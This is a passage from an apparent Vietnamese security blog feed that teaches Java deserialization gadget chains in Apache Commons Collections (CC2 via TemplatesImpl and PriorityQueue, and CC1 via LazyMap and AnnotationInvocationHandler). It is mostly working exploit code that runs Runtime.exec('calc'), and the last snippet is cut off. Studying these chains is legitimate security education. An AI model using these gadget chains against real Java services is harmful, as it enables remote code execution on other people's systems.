xong:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.comparators.TransformingComparator;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections4.functors.InvokerTransformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.PriorityQueue;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.bin&quot;</span>));</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">unserialize</span><span class="params">(String Filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException&#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(Filename));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line">        <span class="keyword">return</span> obj;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Test&quot;</span>);</span><br><span class="line">        ctClass.setSuperclass(pool.get(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>));</span><br><span class="line">        ctClass.makeClassInitializer().setBody(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = ctClass.toBytecode();</span><br><span class="line"></span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_nameField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        _nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _nameField.set(templates, <span class="string">&quot;notNull&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_classField</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_class&quot;</span>);</span><br><span class="line">        _classField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _classField.set(templates, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        _bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _bytecodes.set(templates, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;bytes&#125;);</span><br><span class="line">        Field tfactoryField=templates.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        tfactoryField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        tfactoryField.set(templates,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line">        Transformer[] faketransformer=<span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;<span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(<span class="number">1</span>)&#125;;</span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>&lt;&gt;(<span class="string">&quot;newTransformer&quot;</span>, <span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">        Transformer[] transformers=<span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>&lt;&gt;(templates),</span><br><span class="line">                invokerTransformer</span><br><span class="line">        &#125;;</span><br><span class="line">        ChainedTransformer chainedTransformer=<span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(faketransformer);</span><br><span class="line">        <span class="type">TransformingComparator</span> <span class="variable">transformingComparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformingComparator</span>( chainedTransformer);</span><br><span class="line">        <span class="type">PriorityQueue</span> <span class="variable">priorityQueue</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>(transformingComparator);</span><br><span class="line">        priorityQueue.add(<span class="number">1</span>);</span><br><span class="line">        priorityQueue.add(<span class="number">2</span>);</span><br><span class="line">        Class class=ChainedTransformer.class;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">iTransformersField</span> <span class="operator">=</span> class.getDeclaredField(<span class="string">&quot;iTransformers&quot;</span>);</span><br><span class="line">        iTransformersField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        iTransformersField.set(chainedTransformer,transformers);</span><br><span class="line">        serialize(priorityQueue);</span><br><span class="line">        unserialize(<span class="string">&quot;ser.bin&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Máy tính đã được bật lên.</p><h2 id="Loi-ket"><a href="#Loi-ket" class="headerlink" title="Lời kết"></a>Lời kết</h2><p>Mình đã hoàn thành cc2 theo hai hướng là ChainedTransformer và hướng set giá trị cho queue. Nếu thuần cc2 thì sẽ theo hướng queue, kiến thước khác với cc1 nên các bạn có thể sẽ thấy ngợp lúc đầu, mình cũng đã giải thích kĩ ở phần đó, hi vọng sẽ giúp các bạn học nhanh hơn và không cảm thấy khó khăn.<br>Lúc đầu phân tích mình cũng thấy khó hiểu và betak, nhưng sau mình cố gắng ngồi lại để phân tích thì dần dần cũng thấy ổn hơn, mong các bạn không như mình :).</p><blockquote><p>Chúc các bạn học tốt~</p></blockquote>]]></content:encoded>
      
      
      <category domain="https://rayinaw.github.io/categories/Java/">Java</category>
      
      <category domain="https://rayinaw.github.io/categories/Java/Deserialization/">Deserialization</category>
      
      
      <category domain="https://rayinaw.github.io/tags/Java/">Java</category>
      
      <category domain="https://rayinaw.github.io/tags/Deserialization/">Deserialization</category>
      
      <category domain="https://rayinaw.github.io/tags/Commons-Collections/">Commons Collections</category>
      
      
      <comments>https://rayinaw.github.io/2022/12/16/CommonsCollections2/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Phân tích chuỗi Commons Collections 1 với LazyMap</title>
      <link>https://rayinaw.github.io/2022/12/15/CommonsCollections1-LazyMap/</link>
      <guid>https://rayinaw.github.io/2022/12/15/CommonsCollections1-LazyMap/</guid>
      <pubDate>Wed, 14 Dec 2022 20:48:35 GMT</pubDate>
      
        
        
      <description>&lt;p&gt;Trong bài viết trước mình đã phân tích lỗ hổng deserialization của TransformMap trong chuỗi CC1, và trong bài viết này mình sẽ thực hiện </description>
        
      
      
      
      <content:encoded><![CDATA[<p>Trong bài viết trước mình đã phân tích lỗ hổng deserialization của TransformMap trong chuỗi CC1, và trong bài viết này mình sẽ thực hiện deserialization theo hướng của lớp LazyMap.</p><h2 id="Phan-tich"><a href="#Phan-tich" class="headerlink" title="Phân tích"></a>Phân tích</h2><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/mindmap.png"></p><h3 id="InvokeTransformer"><a href="#InvokeTransformer" class="headerlink" title="InvokeTransformer"></a>InvokeTransformer</h3><p>Phần đuôi của chuỗi này cũng tương tự như chuỗi trước là <code>InvokerTransformer</code>, mình sẽ không phân tích lại lớp này. Như bài viết trước đã nói chúng ta cần tìm lớp gọi đến phương thức transform của lớp InvokerTransformer.</p><p><code>Ctrl + Chuột trái</code> click vào phương thức transform</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/ClassesCallMethodTransform.png"></p><p>Phương thức này được sử dụng ở LazyMap.get()</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/12/15/CommonsCollections1-LazyMap/LazyMap-Get.png"></p><p>Xem <code>factory</code> là gì nào~</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> Map <span class="title function_">decorate</span><span class="params">(Map map, Factory factory)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">LazyMap</span>(map, factory);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Factory method to create a lazily instantiated map.</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> map  the map to decorate, must not be null</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> factory  the factory to use, must not be null</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@throws</span> IllegalArgumentException if map or factory is null</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> Map <span class="title function_">decorate</span><span class="params">(Map map, Transformer factory)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">LazyMap</span>(map, factory);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//-----------------------------------------------------------------------</span></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Constructor that wraps (not copies).</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> map  the map to decorate, must not be null</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> factory  the factory to use, must not be null</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@throws</span> IllegalArgumentException if map or factory is null</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">protected</span> <span class="title function_">LazyMap</span><span class="params">(Map map, Factory factory)</span> &#123;</span><br><span class="line">    <span class="built_in">super</span>(map);</span><br><span class="line">    <span class="keyword">if</span> (factory == <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(<span class="string">&quot;Factory must not be null&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">this</span>.factory = FactoryTransformer.getInstance(factory);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Constructor that wraps (not copies).</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> map  the map to decorate, must not be null</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> factory  the factory to use, must not be null</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@throws</span> IllegalArgumentException if map or factory is null</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">protected</span> <span class="title function_">LazyMap</span><span class="params">(Map map, Transformer factory)</span> &#123;</span><br><span class="line">    <span class="built_in">super</span>(map);</span><br><span class="line">    <span class="keyword">if</span> (factory == <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(<span class="string">&quot;Factory must not be null&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">this</span>.factory = factory;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Lớp này sử dụng Overloading cho hàm tạo và hàm decorate, và ở đây có kiểu truyền vào cho factory là Transformer hoặc Factory, do đó chúng ta có thể truyền vào factory một Transformer rồi cho factory.transform(Runtime.getRuntime) như chain trước.</p><p>Ở bài viết trước, có một vấn đề gặp phải là lớp Runtime không implements serialize và không thể điều khiển được tham số ở trong hàm setValue. Và chúng ta đã thấy được cái tiện lợi của lớp ChainedTransformer và ConstantTransformer. Nên mình sẽ sử dụng lại đoạn này để bỏ đi một vài bước không cần thiết.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationHandler;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Proxy;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>,</span><br><span class="line">                        <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span></span><br><span class="line">                        , <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        HashMap&lt;Object, Object&gt; hashMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        <span class="type">Map</span> <span class="variable">lazyMap</span> <span class="operator">=</span> LazyMap.decorate(hashMap, chainedTransformer);</span><br><span class="line">        lazyMap.get(<span class="literal">null</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/12/15/CommonsCollections1-LazyMap/LazyMap-Get.png"></p><p>Đã mở được máy tính. Tuy nhiên như thế vẫn chưa đủ, chúng ta cần tìm lớp nào gọi đến phương thức LazyMap.get(). Và với chuỗi này, chúng ta sẽ tập trung đến lớp <code>AnnotationInvocationHandler</code>.</p><h3 id="AnnotationInvocationHandler-invoke"><a href="#AnnotationInvocationHandler-invoke" class="headerlink" title="AnnotationInvocationHandler.invoke()"></a>AnnotationInvocationHandler.invoke()</h3><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/12/15/CommonsCollections1-LazyMap/AnnotationInvocationHandler-invoke.png"></p><p>Trong hàm invoke của <code>AnnotationInvocationHandler</code> có dòng thực hiện phương thức get <code>Object var6 = this.memberValues.get(var4);</code>:</p><ul><li><code>this.memberValues</code> ở đây là một map, chúng ta có thể cast nó sang LazyMap để lợi dụng LazyMap.get().</li><li>Như bài viết trước đã nói, lớp này là lớp kiểu default và constructor cũng là default nên chúng ta phải khởi tạo nó bằng Reflection.</li></ul><p>Đoạn code khởi tạo một AnnotationInvocationHandler, chỉ dừng ở việc khởi tạo và mình chưa làm những bước tiếp theo.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationHandler;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Proxy;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class), </span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>,</span><br><span class="line">                        <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span></span><br><span class="line">                        , <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        HashMap&lt;Object, Object&gt; hashMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        <span class="type">Map</span> <span class="variable">lazyMap</span> <span class="operator">=</span> LazyMap.decorate(hashMap, chainedTransformer);</span><br><span class="line">        <span class="comment">//lazyMap.get(null);</span></span><br><span class="line">        <span class="type">Class</span> <span class="variable">aihClass</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">aihConstructor</span> <span class="operator">=</span> aihClass.getDeclaredConstructor(Class.class, Object.class);</span><br><span class="line">        aihConstructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">aihObject</span> <span class="operator">=</span> aihClassConstructor.newInstance(Override.class, lazyMap);</span><br><span class="line">        <span class="comment">//InvocationHandler aihObject = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Lớp này đã implements Serializable và có phương thức readObject(). Nên điều mà chúng ta cần tiếp theo là làm sao để lớp này thực hiện hàm invoke() trong phương thức readObject(). Và để thực hiện điều này chúng ta có thể sử dụng Proxy động.</p><h3 id="Dynamic-Proxy"><a href="#Dynamic-Proxy" class="headerlink" title="Dynamic Proxy"></a>Dynamic Proxy</h3><p>Các phương thức gốc của lớp gốc đã được ghi đè bằng proxy, khi chúng ta thực hiện một phương thức của lớp đó thông qua proxy, proxy sẽ gọi đến hàm invoke rồi invoke phương thức của lớp này. Để hiểu thêm thì các bạn hãy đọc thêm về Dynamic Proxy trong Java.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//Tạo một InvocationHandler để điều khiển phương thức của lớp gốc.</span></span><br><span class="line"><span class="type">InvocationHandler</span> <span class="variable">aihObject</span> <span class="operator">=</span> (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);</span><br><span class="line"><span class="comment">//Tạo một proxyMap để gọi phương thức</span></span><br><span class="line"><span class="type">Map</span> <span class="variable">proxyMap</span> <span class="operator">=</span> (Map) Proxy.newProxyInstance(aihClass.getClassLoader(), <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Map.class&#125;,aihInstance);</span><br></pre></td></tr></table></figure><p>Bây giờ khi chúng ta gọi bất kì phương thức nào của proxyMap tương ứng với phương thức của lazyMap, nó sẽ gọi đến phương thức invoke và thực thi lazyMap.get() như mình đã phân tích ở trên.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationHandler;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Proxy;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">import</span> java.util.Set;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.bin&quot;</span>));</span><br><span class="line">        